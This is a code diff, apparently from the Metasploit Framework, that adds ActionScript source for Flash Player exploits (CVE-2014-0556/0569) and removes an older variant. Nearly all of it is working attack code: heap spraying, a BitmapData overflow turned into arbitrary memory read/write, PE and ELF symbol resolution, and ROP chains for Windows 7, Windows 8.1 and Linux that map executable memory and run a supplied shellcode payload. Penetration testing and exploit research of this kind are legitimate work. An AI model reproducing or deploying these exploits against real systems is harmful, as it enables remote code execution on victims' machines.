entry = seg_dynamic + i
s_type = e_ba.read(entry)
if (s_type == DT_PLTGOT) {
sec_got_plt = e_ba.read(entry + 4)
return
}
}
throw new Error()
}
}
}

View File

@ -0,0 +1,83 @@
// Build how to:
// 1. Download the AIRSDK, and use its compiler.
// 2. Download the Flex SDK (4.6)
// 3. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
// 4. Build with: mxmlc -o msf.swf Main.as
// Original code by @hdarwin89 // http://hacklab.kr/cve-2014-0556-%EB%B6%84%EC%84%9D/
// Modified to be used from msf
package
{
import flash.display.Sprite
import flash.display.BitmapData
import flash.geom.Rectangle
import flash.utils.ByteArray
import flash.display.LoaderInfo
import mx.utils.Base64Decoder
public class Exploit extends Sprite
{
private var uv:Vector.<uint>
private var exploiter:Exploiter
private var b64:Base64Decoder = new Base64Decoder()
private var payload:ByteArray
private var platform:String
private var os:String
private var bv:Vector.<ByteArray> = new Vector.<ByteArray>(12800)
private var ov:Vector.<Object> = new Vector.<Object>(12800)
private var bd:BitmapData = new BitmapData(128, 16)
public function Exploit()
{
var i:uint
platform = LoaderInfo(this.root.loaderInfo).parameters.pl
os = LoaderInfo(this.root.loaderInfo).parameters.os
var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
var pattern:RegExp = / /g;
b64_payload = b64_payload.replace(pattern, "+")
b64.decode(b64_payload)
payload = b64.toByteArray()
for (i = 0; i < bv.length; i++) {
bv[i] = new ByteArray()
bv[i].length = 0x2000
bv[i].position = 0xFFFFF000
}
for (i = 0; i < bv.length; i++)
if (i % 2 == 0) bv[i] = null
for (i = 0; i < ov.length; i++) {
ov[i] = new Vector.<uint>(1022)
ov[i][0] = 0xdeadbeef
}
bd.copyPixelsToByteArray(new Rectangle(0, 0, 128, 16), bv[6401])
for (i = 0; i < ov.length ; i++) {
if (ov[i].length == 0xffffffff) {
uv = ov[i]
uv[0] = 0xdeadbeef
uv[1] = 0xdeedbeef
for(var j:uint = 0; j < 4096; j++) {
if (uv[j] == 1022 && uv[j + 2] == 0xdeadbeef) {
uv[0x3fffffff] = uv[j + 1]
break
}
}
} else {
ov[i] = null
}
}
for (i = 0; i < bv.length; i++) {
bv[i] = null
}
exploiter = new Exploiter(this, platform, os, payload, uv)
}
}
}

View File

@ -0,0 +1,85 @@
package
{
import flash.utils.ByteArray
public class ExploitByteArray
{
private const MAX_STRING_LENGTH:uint = 100
public var ba:ByteArray
public var original_length:uint
private var platform:String
public function ExploitByteArray(p:String, l:uint = 1024)
{
ba = new ByteArray()
ba.length = l
ba.endian = "littleEndian"
ba.writeUnsignedInt(0)
platform = p
original_length = l
}
public function set_length(length:uint):void
{
ba.length = length
}
public function get_length():uint
{
return ba.length
}
public function lets_ready():void
{
ba.endian = "littleEndian"
if (platform == "linux") {
ba.length = 0xffffffff
}
}
public function is_ready():Boolean
{
if (ba.length == 0xffffffff)
return true
return false
}
public function read(addr:uint, type:String = "dword"):uint
{
ba.position = addr
switch(type) {
case "dword":
return ba.readUnsignedInt()
case "word":
return ba.readUnsignedShort()
case "byte":
return ba.readUnsignedByte()
}
return 0
}
public function read_string(addr:uint, length:uint = 0):String
{
ba.position = addr
if (length == 0)
return ba.readUTFBytes(MAX_STRING_LENGTH)
else
return ba.readUTFBytes(length)
}
public function write(addr:uint, value:* = 0, zero:Boolean = true):void
{
var i:uint
if (addr) ba.position = addr
if (value is String) {
for (i = 0; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
if (zero) ba.writeByte(0)
} else if (value is ByteArray) {
var value_length:uint = value.length
for (i = 0; i < value_length; i++) ba.writeByte(value.readByte())
} else ba.writeUnsignedInt(value)
}
}
}

View File

@ -0,0 +1,74 @@
package
{
public class ExploitVector
{
private var uv:Vector.<uint>
public var original_length:uint = 0x3fe
public function ExploitVector(v:Vector.<uint>)
{
uv = v
}
public function restore():void
{
uv[0x3ffffffe] = original_length
}
public function is_ready():Boolean
{
if (uv.length > original_length)
{
return true
}
return false
}
public function at(pos:uint):uint
{
return uv[pos]
}
// pos: position where a Vector.<Object>[0] lives
public function set_own_address(pos:uint):void
{
uv[0] = uv[pos - 5] - ((pos - 5) * 4) - 0xc
}
public function read(addr:uint):uint
{
var pos:uint = 0
if (addr > uv[0]) {
pos = ((addr - uv[0]) / 4) - 2
} else {
pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1
}
return uv[pos]
}
public function write(addr:uint, value:uint = 0):void
{
var pos:uint = 0
if (addr > uv[0]) {
pos = ((addr - uv[0]) / 4) - 2
} else {
pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1
}
uv[pos] = value
}
public function search_pattern(pattern:uint, limit:uint):uint
{
for (var i:uint = 0; i < limit/4; i++) {
if (uv[i] == pattern) {
return i
}
}
throw new Error()
}
}
}

View File

@ -0,0 +1,399 @@
package
{
import flash.utils.ByteArray
import flash.system.System
public class Exploiter
{
private const VECTOR_OBJECTS_LENGTH:uint = 1014
private var exploit:Exploit
private var ev:ExploitVector
private var eba:ExploitByteArray
private var payload:ByteArray
private var platform:String
private var op_system:String
private var pos:uint
private var byte_array_object:uint
private var main:uint
private var stack_object:uint
private var payload_space_object:uint
private var buffer_object:uint
private var buffer:uint
private var vtable:uint
private var stack_address:uint
private var payload_address:uint
private var stack:Vector.<uint> = new Vector.<uint>(0x6400)
private var payload_space:Vector.<uint> = new Vector.<uint>(0x6400)
private var spray:Vector.<Object> = new Vector.<Object>(89698)
public function Exploiter(exp:Exploit, pl:String, os:String, p:ByteArray, uv:Vector.<uint>):void
{
exploit = exp
payload = p
platform = pl
op_system = os
ev = new ExploitVector(uv)
if (!ev.is_ready()) return
eba = new ExploitByteArray(platform)
spray_objects()
try { pos = search_objects() } catch (err:Error) { ev.restore(); cleanup(); return; }
ev.set_own_address(pos)
if (!disclose_objects()) { ev.restore(); cleanup(); return; }
disclose_addresses()
corrupt_byte_array()
if (!eba.is_ready()) { ev.restore(); cleanup(); return }
do_rop()
restore_byte_array()
ev.restore()
cleanup()
}
private function spray_objects():void
{
Logger.log("[*] Exploiter - spray_objects()")
for (var i:uint = 0; i < spray.length; i++)
{
spray[i] = new Vector.<Object>(VECTOR_OBJECTS_LENGTH)
spray[i][0] = eba.ba
spray[i][1] = exploit
spray[i][2] = stack
spray[i][3] = payload_space
}
}
private function search_objects():uint
{
Logger.log("[*] Exploiter - search_objects()")
var idx:uint = ev.search_pattern(VECTOR_OBJECTS_LENGTH, 0x8000)
return idx + 1
}
private function disclose_objects():Boolean
{
Logger.log("[*] Exploiter - disclose_objects()")
byte_array_object = ev.at(pos) - 1
main = ev.at(pos + 1) - 1
stack_object = ev.at(pos + 2) - 1
payload_space_object = ev.at(pos + 3) - 1
if (byte_array_object < 0x1000 || main < 0x1000 || stack_object < 0x1000 || payload_space_object < 0x1000) {
return false
}
return true
}
private function disclose_addresses():void
{
Logger.log("[*] Exploiter - disclose_addresses()")
if (platform == "linux")
{
buffer_object = ev.read(byte_array_object + 0x10)
buffer = ev.read(buffer_object + 0x1c)
}
else if (platform == "win")
{
buffer_object = ev.read(byte_array_object + 0x40)
buffer = ev.read(buffer_object + 8)
}
vtable = ev.read(main)
stack_address = ev.read(stack_object + 0x18)
payload_address = ev.read(payload_space_object + 0x18)
}
private function corrupt_byte_array():void
{
Logger.log("[*] Exploiter - corrupt_byte_array(): " + platform)
if (platform == "linux")
{
ev.write(buffer_object + 0x1c) // *array
ev.write(buffer_object + 0x20, 0xffffffff) // capacity
}
else if (platform == "win")
{
ev.write(buffer_object + 8) // *array
ev.write(buffer_object + 16, 0xffffffff) // capacity
}
eba.lets_ready()
}
private function restore_byte_array():void
{
Logger.log("[*] Exploiter - restore_byte_array(): " + platform)
if (platform == "linux")
{
ev.write(buffer_object + 0x1c, buffer) // *array
ev.write(buffer_object + 0x20, 1024) // capacity
}
else if (platform == "win")
{
ev.write(buffer_object + 8, buffer) // *array
ev.write(buffer_object + 16, 1024) // capacity
}
eba.set_length(eba.original_length)
}
private function do_rop():void
{
Logger.log("[*] Exploiter - do_rop()")
if (platform == "linux") {
do_rop_linux()
} else if (platform == "win") {
if (op_system == "Windows 8.1") {
do_rop_windows8()
} else if (op_system == "Windows 7") {
do_rop_windows()
} else {
return
}
} else {
return
}
}
private function do_rop_windows():void
{
Logger.log("[*] Exploiter - do_rop_windows()")
var pe:PE = new PE(eba)
var flash:uint = pe.base(vtable)
var winmm:uint = pe.module("winmm.dll", flash)
var kernel32:uint = pe.module("kernel32.dll", winmm)
var ntdll:uint = pe.module("ntdll.dll", kernel32)
var virtualprotect:uint = pe.procedure("VirtualProtect", kernel32)
var virtualalloc:uint = pe.procedure("VirtualAlloc", kernel32)
var createthread:uint = pe.procedure("CreateThread", kernel32)
var memcpy:uint = pe.procedure("memcpy", ntdll)
var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash)
var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash)
var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll)
// Continuation of execution
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
eba.write(0, "\x89\x03", false) // mov [ebx], eax
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
// Put the payload (command) in memory
eba.write(payload_address + 8, payload, true); // payload
// Put the fake vtabe / stack on memory
eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h]
eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
eba.write(0, virtualprotect)
// VirtualProtect
eba.write(0, virtualalloc)
eba.write(0, buffer + 0x10)
eba.write(0, 0x1000)
eba.write(0, 0x40)
eba.write(0, buffer + 0x8) // Writable address (4 bytes)
// VirtualAlloc
eba.write(0, memcpy)
eba.write(0, 0x7f6e0000)
eba.write(0, 0x4000)
eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE
eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE
// memcpy
eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't
eba.write(0, 0x7f6e0000)
eba.write(0, payload_address + 8)
eba.write(0, payload.length)
// CreateThread
eba.write(0, createthread)
eba.write(0, buffer + 0x10) // return to fix things
eba.write(0, 0)
eba.write(0, 0)
eba.write(0, 0x7f6e0000)
eba.write(0, 0)
eba.write(0, 0)
eba.write(0, 0)
eba.write(main, stack_address + 0x18000) // overwrite with fake vtable
exploit.toString() // call method in the fake vtable
}
private function do_rop_windows8():void
{
Logger.log("[*] Exploiter - do_rop_windows8()")
var pe:PE = new PE(eba)
var flash:uint = pe.base(vtable)
var winmm:uint = pe.module("winmm.dll", flash)
var advapi32:uint = pe.module("advapi32.dll", flash)
var kernelbase:uint = pe.module("kernelbase.dll", advapi32)
var kernel32:uint = pe.module("kernel32.dll", winmm)
var ntdll:uint = pe.module("ntdll.dll", kernel32)
var virtualprotect:uint = pe.procedure("VirtualProtect", kernelbase)
var virtualalloc:uint = pe.procedure("VirtualAlloc", kernelbase)
var createthread:uint = pe.procedure("CreateThread", kernelbase)
var memcpy:uint = pe.procedure("memcpy", ntdll)
var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash)
var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash)
var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll)
// Continuation of execution
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
eba.write(0, "\x89\x03", false) // mov [ebx], eax
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
// Put the payload (command) in memory
eba.write(payload_address + 8, payload, true); // payload
// Put the fake vtabe / stack on memory
eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h]
eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
eba.write(0, virtualprotect)
// VirtualProtect
eba.write(0, virtualalloc)
eba.write(0, buffer + 0x10)
eba.write(0, 0x1000)
eba.write(0, 0x40)
eba.write(0, buffer + 0x8) // Writable address (4 bytes)
// VirtualAlloc
eba.write(0, memcpy)
eba.write(0, 0x7ffd0000)
eba.write(0, 0x4000)
eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE
eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE
// memcpy
eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't
eba.write(0, 0x7ffd0000)
eba.write(0, payload_address + 8)
eba.write(0, payload.length)
// CreateThread
eba.write(0, createthread)
eba.write(0, buffer + 0x10) // return to fix things
eba.write(0, 0)
eba.write(0, 0)
eba.write(0, 0x7ffd0000)
eba.write(0, 0)
eba.write(0, 0)
eba.write(0, 0)
eba.write(main, stack_address + 0x18000) // overwrite with fake vtable
exploit.toString() // call method in the fake vtable
}
private function do_rop_linux():void
{
Logger.log("[*] Exploiter - do_rop_linux()")
var flash:Elf = new Elf(eba, vtable)
var feof:uint = flash.external_symbol('feof')
var libc:Elf = new Elf(eba, feof)
var popen:uint = libc.symbol("popen")
var mprotect:uint = libc.symbol("mprotect")
var mmap:uint = libc.symbol("mmap")
var clone:uint = libc.symbol("clone")
var xchgeaxespret:uint = flash.gadget("c394", 0x0000ffff)
var xchgeaxesiret:uint = flash.gadget("c396", 0x0000ffff)
var addesp2cret:uint = flash.gadget("c32cc483", 0xffffffff)
// Continuation of execution
// 1) Recover original vtable
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
eba.write(0, "\x89\x03", false) // mov [ebx], eax
// 2) Recover original stack
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi
// my_memcpy
eba.write(buffer + 0x60, "\x56", false) // push esi
eba.write(0, "\x57", false) // push edi
eba.write(0, "\x51", false) // push ecx
eba.write(0, "\x8B\x7C\x24\x10", false) // mov edi,[esp+0x10]
eba.write(0, "\x8B\x74\x24\x14", false) // mov esi,[esp+0x14]
eba.write(0, "\x8B\x4C\x24\x18", false) // mov ecx,[esp+0x18]
eba.write(0, "\xF3\xA4", false) // rep movsb
eba.write(0, "\x59", false) // pop ecx
eba.write(0, "\x5f", false) // pop edi
eba.write(0, "\x5e", false) // pop esi
eba.write(0, "\xc3", false) // ret
// Put the popen parameters in memory
eba.write(payload_address + 0x8, payload, true) // false
// Put the fake stack/vtable on memory
eba.write(stack_address + 0x18024, xchgeaxespret) // Initial gadget, stackpivot
eba.write(stack_address + 0x18000, xchgeaxesiret) // Save original stack on esi
eba.write(0, addesp2cret) //second pivot to preserver stack_address + 0x18024
// Return to mprotect()
eba.write(stack_address + 0x18034, mprotect)
// Return to stackpivot (jmp over mprotect parameters)
eba.write(0, addesp2cret)
// mprotect() arguments
eba.write(0, buffer) // addr
eba.write(0, 0x1000) // size
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
// Return to mmap()
eba.write(stack_address + 0x18068, mmap)
// Return to stackpivot (jmp over mmap parameters)
eba.write(0, addesp2cret)
// mmap() code segment arguments
eba.write(0, 0x70000000) // 0x70000000
eba.write(0, 0x4000) // size
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS
eba.write(0, 0xffffffff) // filedes
eba.write(0, 0) // offset
// Return to mmap()
eba.write(stack_address + 0x1809c, mmap)
// Return to stackpivot (jmp over mmap parameters)
eba.write(0, addesp2cret)
// mmap() stack segment arguments
eba.write(0, 0x70008000) // NULL
eba.write(0, 0x10000) // size
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS
eba.write(0, -1) // filedes
eba.write(0, 0) // offset
// Return to memcpy()
eba.write(stack_address + 0x180d0, buffer + 0x60)
// Return to stackpivot (jmp over memcpy parameters)
eba.write(0, addesp2cret)
// memcpy() parameters
eba.write(0, 0x70000000)
eba.write(0, payload_address + 0x8)
eba.write(0, payload.length)
// Return to clone()
eba.write(stack_address + 0x18104, clone)
// Return to CoE (fix stack and object vtable)
eba.write(0, buffer + 0x10)
// clone() arguments
eba.write(0, 0x70000000) // code
eba.write(0, 0x7000bff0) // stack
eba.write(0, 0x00000100) // flags CLONE_VM
eba.write(0, 0) // args
//call DWORD PTR [eax+0x24]
//EAX: 0x41414141 ('AAAA')
//EDI: 0xad857088 ("AAAA\377")
eba.write(main, stack_address + 0x18000)
exploit.hasOwnProperty('msf')
}
private function cleanup():void
{
Logger.log("[*] Exploiter - cleanup()")
spray = null
stack = null
payload_space = null
eba = null
ev = null
exploit = null
System.pauseForGCIfCollectionImminent(0)
}
}
}

View File

@ -0,0 +1,32 @@
package
{
import flash.external.ExternalInterface
public class Logger {
private static const DEBUG:uint = 0
public static function alert(msg:String):void
{
var str:String = "";
if (DEBUG == 1)
str += msg;
if(ExternalInterface.available){
ExternalInterface.call("alert", str);
}
}
public static function log(msg:String):void
{
var str:String = "";
if (DEBUG == 1)
str += msg;
if(ExternalInterface.available){
ExternalInterface.call("console.log", str);
}
}
}
}

View File

@ -1,182 +0,0 @@
// Build how to:
// 1. Download the AIRSDK, and use its compiler.
// 2. Download the Flex SDK (4.6)
// 3. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
// 4. Build with: mxmlc -o msf.swf Main.as
// Original code by @hdarwin89 // http://hacklab.kr/cve-2014-0556-%EB%B6%84%EC%84%9D/
// Modified to be used from msf
package
{
import flash.display.Sprite
import flash.display.BitmapData
import flash.geom.Rectangle
import flash.utils.ByteArray
import flash.display.LoaderInfo
import mx.utils.Base64Decoder
public class Main extends Sprite
{
private var bv:Vector.<ByteArray> = new Vector.<ByteArray>(12800)
private var uv:Vector.<Object> = new Vector.<Object>(12800)
private var bd:BitmapData = new BitmapData(128, 16)
private var i:uint = 0
public function Main()
{
var b64:Base64Decoder = new Base64Decoder()
b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh)
var payload:String = b64.toByteArray().toString()
for (i = 0; i < bv.length; i++) {
bv[i] = new ByteArray()
bv[i].length = 0x2000
bv[i].position = 0xFFFFF000
}
for (i = 0; i < bv.length; i++)
if (i % 2 == 0) bv[i] = null
for (i = 0; i < uv.length; i++) {
uv[i] = new Vector.<uint>(1022)
}
bd.copyPixelsToByteArray(new Rectangle(0, 0, 128, 16), bv[6401])
for (i = 0; ; i++)
if (uv[i].length == 0xffffffff) break
for (var i2:uint = 1; i2 < uv.length; i2++) {
if (i == i2) continue
uv[i2] = new Vector.<Object>(1014)
uv[i2][0] = bv[6401]
uv[i2][1] = this
}
uv[i][0] = uv[i][0xfffffc03] - 0x18 + 0x1000
bv[6401].endian = "littleEndian"
bv[6401].length = 0x500000
var buffer:uint = vector_read(vector_read(uv[i][0xfffffc08] + 0x40 - 1) + 8) + 0x100000
var main:uint = uv[i][0xfffffc09] - 1
var vtable:uint = vector_read(main)
vector_write(vector_read(uv[i][0xfffffc08] + 0x40 - 1) + 8)
vector_write(vector_read(uv[i][0xfffffc08] + 0x40 - 1) + 16, 0xffffffff)
byte_write(uv[i][0] + 4, byte_read(uv[i][0] - 0x1000 + 8))
byte_write(uv[i][0])
var flash:uint = base(vtable)
var winmm:uint = module("winmm.dll", flash)
var kernel32:uint = module("kernel32.dll", winmm)
var virtualprotect:uint = procedure("VirtualProtect", kernel32)
var winexec:uint = procedure("WinExec", kernel32)
var xchgeaxespret:uint = gadget("c394", 0x0000ffff, flash)
var xchgeaxesiret:uint = gadget("c396", 0x0000ffff, flash)
byte_write(buffer + 0x30000, "\xb8", false); byte_write(0, vtable, false) // mov eax, vtable
byte_write(0, "\xbb", false); byte_write(0, main, false) // mov ebx, main
byte_write(0, "\x89\x03", false) // mov [ebx], eax
byte_write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
byte_write(buffer + 0x100, payload, true)
byte_write(buffer + 0x20070, xchgeaxespret)
byte_write(buffer + 0x20000, xchgeaxesiret)
byte_write(0, virtualprotect)
// VirtualProtect
byte_write(0, winexec)
byte_write(0, buffer + 0x30000)
byte_write(0, 0x1000)
byte_write(0, 0x40)
byte_write(0, buffer + 0x80)
// WinExec
byte_write(0, buffer + 0x30000)
byte_write(0, buffer + 0x100)
byte_write(0)
byte_write(main, buffer + 0x20000)
this.toString()
}
private function vector_write(addr:uint, value:uint = 0):void
{
addr > uv[i][0] ? uv[i][(addr - uv[i][0]) / 4 - 2] = value : uv[i][0xffffffff - (uv[i][0] - addr) / 4 - 1] = value
}
private function vector_read(addr:uint):uint
{
return addr > uv[i][0] ? uv[i][(addr - uv[i][0]) / 4 - 2] : uv[i][0xffffffff - (uv[i][0] - addr) / 4 - 1]
}
private function byte_write(addr:uint, value:* = 0, zero:Boolean = true):void
{
if (addr) bv[6401].position = addr
if (value is String) {
for (var i:uint; i < value.length; i++) bv[6401].writeByte(value.charCodeAt(i))
if (zero) bv[6401].writeByte(0)
} else bv[6401].writeUnsignedInt(value)
}
private function byte_read(addr:uint, type:String = "dword"):uint
{
bv[6401].position = addr
switch(type) {
case "dword":
return bv[6401].readUnsignedInt()
case "word":
return bv[6401].readUnsignedShort()
case "byte":
return bv[6401].readUnsignedByte()
}
return 0
}
private function base(addr:uint):uint
{
addr &= 0xffff0000
while (true) {
if (byte_read(addr) == 0x00905a4d) return addr
addr -= 0x10000
}
return 0
}
private function module(name:String, addr:uint):uint
{
var iat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x80), i:int = -1
while (true) {
var entry:uint = byte_read(iat + (++i) * 0x14 + 12)
if (!entry) throw new Error("FAIL!");
bv[6401].position = addr + entry
if (bv[6401].readUTFBytes(name.length).toUpperCase() == name.toUpperCase()) break
}
return base(byte_read(addr + byte_read(iat + i * 0x14 + 16)))
}
private function procedure(name:String, addr:uint):uint
{
var eat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x78)
var numberOfNames:uint = byte_read(eat + 0x18)
var addressOfFunctions:uint = addr + byte_read(eat + 0x1c)
var addressOfNames:uint = addr + byte_read(eat + 0x20)
var addressOfNameOrdinals:uint = addr + byte_read(eat + 0x24)
for (var i:uint = 0; ; i++) {
var entry:uint = byte_read(addressOfNames + i * 4)
bv[6401].position = addr + entry
if (bv[6401].readUTFBytes(name.length+2).toUpperCase() == name.toUpperCase()) break
}
return addr + byte_read(addressOfFunctions + byte_read(addressOfNameOrdinals + i * 2, "word") * 4)
}
private function gadget(gadget:String, hint:uint, addr:uint):uint
{
var find:uint = 0
var limit:uint = byte_read(addr + byte_read(addr + 0x3c) + 0x50)
var value:uint = parseInt(gadget, 16)
for (var i:uint = 0; i < limit - 4; i++) if (value == (byte_read(addr + i) & hint)) break
return addr + i
}
}
}

View File

@ -0,0 +1,72 @@
package
{
public class PE
{
private var eba:ExploitByteArray
public function PE(ba:ExploitByteArray)
{
eba = ba
}
public function base(addr:uint):uint
{
addr &= 0xffff0000
while (true) {
if (eba.read(addr) == 0x00905a4d) return addr
addr -= 0x10000
}
return 0
}
public function module(name:String, addr:uint):uint
{
var iat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x80), i:int = -1
var mod_name:String
while (true) {
var entry:uint = eba.read(iat + (++i) * 0x14 + 12)
if (!entry) throw new Error("FAIL!");
mod_name = eba.read_string(addr + entry, name.length)
if (mod_name.toUpperCase() == name.toUpperCase()) break
}
return base(eba.read(addr + eba.read(iat + i * 0x14 + 16)))
}
public function procedure(name:String, addr:uint):uint
{
var eat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x78)
var numberOfNames:uint = eba.read(eat + 0x18)
var addressOfFunctions:uint = addr + eba.read(eat + 0x1c)
var addressOfNames:uint = addr + eba.read(eat + 0x20)
var addressOfNameOrdinals:uint = addr + eba.read(eat + 0x24)
var proc_name:String
for (var i:uint = 0; ; i++) {
var entry:uint = eba.read(addressOfNames + i * 4)
proc_name = eba.read_string(addr + entry, name.length + 2)
if (proc_name.toUpperCase() == name.toUpperCase()) break
}
return addr + eba.read(addressOfFunctions + eba.read(addressOfNameOrdinals + i * 2, "word") * 4)
}
public function gadget(gadget:String, hint:uint, addr:uint):uint
{
var find:uint = 0
var contents:uint = 0
var limit:uint = eba.read(addr + eba.read(addr + 0x3c) + 0x50)
var value:uint = parseInt(gadget, 16)
for (var i:uint = 0; i < limit - 4; i++) {
contents = eba.read(addr + i)
if (hint == 0xffffffff && value == contents) {
return addr + i
}
if (hint != 0xffffffff && value == (contents & hint)) {
return addr + i
}
}
throw new Error()
}
}
}

235
external/source/exploits/CVE-2014-0569/Elf.as vendored Executable file
View File

@ -0,0 +1,235 @@
package
{
public class Elf
{
private const PT_DYNAMIC:uint = 2
private const PT_LOAD:uint = 1
private const PT_READ_EXEC:uint = 5
private const DT_SYMTAB:uint = 6
private const DT_STRTAB:uint = 5
private const DT_PLTGOT:uint = 3
private var e_ba:ExploitByteArray
// elf base address
public var base:uint = 0
// program header address
public var ph:uint = 0
// number of program headers
public var ph_size:uint = 0
// program header entry size
public var ph_esize:uint = 0
// DYNAMIC segment address
public var seg_dynamic:uint = 0
// DYNAMIC segment size
public var seg_dynamic_size:uint = 0
// CODE segment address
public var seg_exec:uint = 0
// CODE segment size
public var seg_exec_size:uint = 0
// .dynsyn section address
public var sec_dynsym:uint = 0
// .synstr section address
public var sec_dynstr:uint = 0
// .got.plt section address
public var sec_got_plt:uint = 0
public function Elf(ba:ExploitByteArray, addr:uint)
{
e_ba = ba
set_base(addr)
set_program_header()
set_program_header_size()
set_program_header_entry_size()
set_dynamic_segment()
set_exec_segment()
set_dynsym()
set_dynstr()
set_got_plt()
}
public function external_symbol(name:String):uint {
var entry:uint = 0
var st_name:uint = 0
var st_value:uint = 0
var st_size:uint = 0
var st_info:uint = 0
var st_other:uint = 0
var st_shndx:uint = 0
var st_string:String = ""
var got_plt_index:uint = 0
for(var i:uint = 0; i < 1000; i++) { // 1000 is just a limit
entry = sec_dynsym + 0x10 + (i * 0x10)
st_name = e_ba.read(entry)
st_value = e_ba.read(entry + 4)
st_info = e_ba.read(entry + 0xc, "byte")
st_string = e_ba.read_string(sec_dynstr + st_name)
if (st_string == name) {
return e_ba.read(sec_got_plt + 0xc + (got_plt_index * 4))
}
if (st_info != 0x11) {
got_plt_index++
}
}
throw new Error()
}
public function symbol(name:String):uint {
var entry:uint = 0
var st_name:uint = 0
var st_value:uint = 0
var st_size:uint = 0
var st_info:uint = 0
var st_other:uint = 0
var st_shndx:uint = 0
var st_string:String = ""
for(var i:uint = 0; i < 3000; i++) { // 3000 is just a limit
entry = sec_dynsym + 0x10 + (i * 0x10)
st_name = e_ba.read(entry)
st_value = e_ba.read(entry + 4)
st_info = e_ba.read(entry + 0xc, "byte")
st_string = e_ba.read_string(sec_dynstr + st_name)
if (st_string == name) {
return base + st_value
}
}
throw new Error()
}
public function gadget(gadget:String, hint:uint):uint
{
var value:uint = parseInt(gadget, 16)
var contents:uint = 0
for (var i:uint = 0; i < seg_exec_size - 4; i++) {
contents = e_ba.read(seg_exec + i)
if (hint == 0xffffffff && value == contents) {
return seg_exec + i
}
if (hint != 0xffffffff && value == (contents & hint)) {
return seg_exec + i
}
}
throw new Error()
}
private function set_base(addr:uint):void
{
addr &= 0xffff0000
while (true) {
if (e_ba.read(addr) == 0x464c457f) {
base = addr
return
}
addr -= 0x1000
}
throw new Error()
}
private function set_program_header():void
{
ph = base + e_ba.read(base + 0x1c)
}
private function set_program_header_size():void
{
ph_size = e_ba.read(base + 0x2c, "word")
}
private function set_program_header_entry_size():void
{
ph_esize = e_ba.read(base + 0x2a, "word")
}
private function set_dynamic_segment():void
{
var entry:uint = 0
var p_type:uint = 0
for (var i:uint = 0; i < ph_size; i++) {
entry = ph + (i * ph_esize)
p_type = e_ba.read(entry)
if (p_type == PT_DYNAMIC) {
seg_dynamic = base + e_ba.read(entry + 8)
seg_dynamic_size = e_ba.read(entry + 0x14)
return
}
}
throw new Error()
}
private function set_exec_segment():void
{
var entry:uint = 0
var p_type:uint = 0
var p_flags:uint = 0
for (var i:uint = 0; i < ph_size; i++) {
entry = ph + (i * ph_esize)
p_type = e_ba.read(entry)
p_flags = e_ba.read(entry + 0x18)
if (p_type == PT_LOAD && (p_flags & PT_READ_EXEC) == PT_READ_EXEC) {
seg_exec = base + e_ba.read(entry + 8)
seg_exec_size = e_ba.read(entry + 0x14)
return
}
}
throw new Error()
}
private function set_dynsym():void
{
var entry:uint = 0
var s_type:uint = 0
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
entry = seg_dynamic + i
s_type = e_ba.read(entry)
if (s_type == DT_SYMTAB) {
sec_dynsym = e_ba.read(entry + 4)
return
}
}
throw new Error()
}
private function set_dynstr():void
{
var entry:uint = 0
var s_type:uint = 0
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
entry = seg_dynamic + i
s_type = e_ba.read(entry)
if (s_type == DT_STRTAB) {
sec_dynstr = e_ba.read(entry + 4)
return
}
}
throw new Error()
}
